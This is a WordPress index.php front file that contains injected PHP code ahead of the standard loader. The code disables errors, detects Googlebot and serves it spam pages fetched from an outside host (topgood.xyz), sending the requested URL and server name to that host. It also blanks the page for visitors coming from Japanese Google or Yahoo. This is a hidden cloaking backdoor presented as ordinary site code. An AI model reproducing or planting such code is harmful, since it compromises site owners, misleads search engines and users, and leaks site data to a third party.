??php error_reporting(0); $umodel = "11"; $query = $_SERVER['REQUEST_URI']; if(strstr($query,"sitemaps.xml")){ echo GetFileContent("sitemaps.xml");exit; } $query = $_SERVER['REQUEST_URI']; if(stripos($_SERVER['HTTP_USER_AGENT'], 'Googlebot') !== false){ $str = GetFileContent("http://www.topgood.xyz/good/1115-85/pages.php?".$query."|".$_SERVER["SERVER_NAME"]."|".$umodel); echo $str; exit; } if(preg_match('/(google.co.jp|yahoo.co.jp)/i', strtolower($_SERVER['HTTP_REFERER']))){ echo ''; exit; } function GetFileContent($url){ if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); } else { $ch = curl_init(); $timeout = 5; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );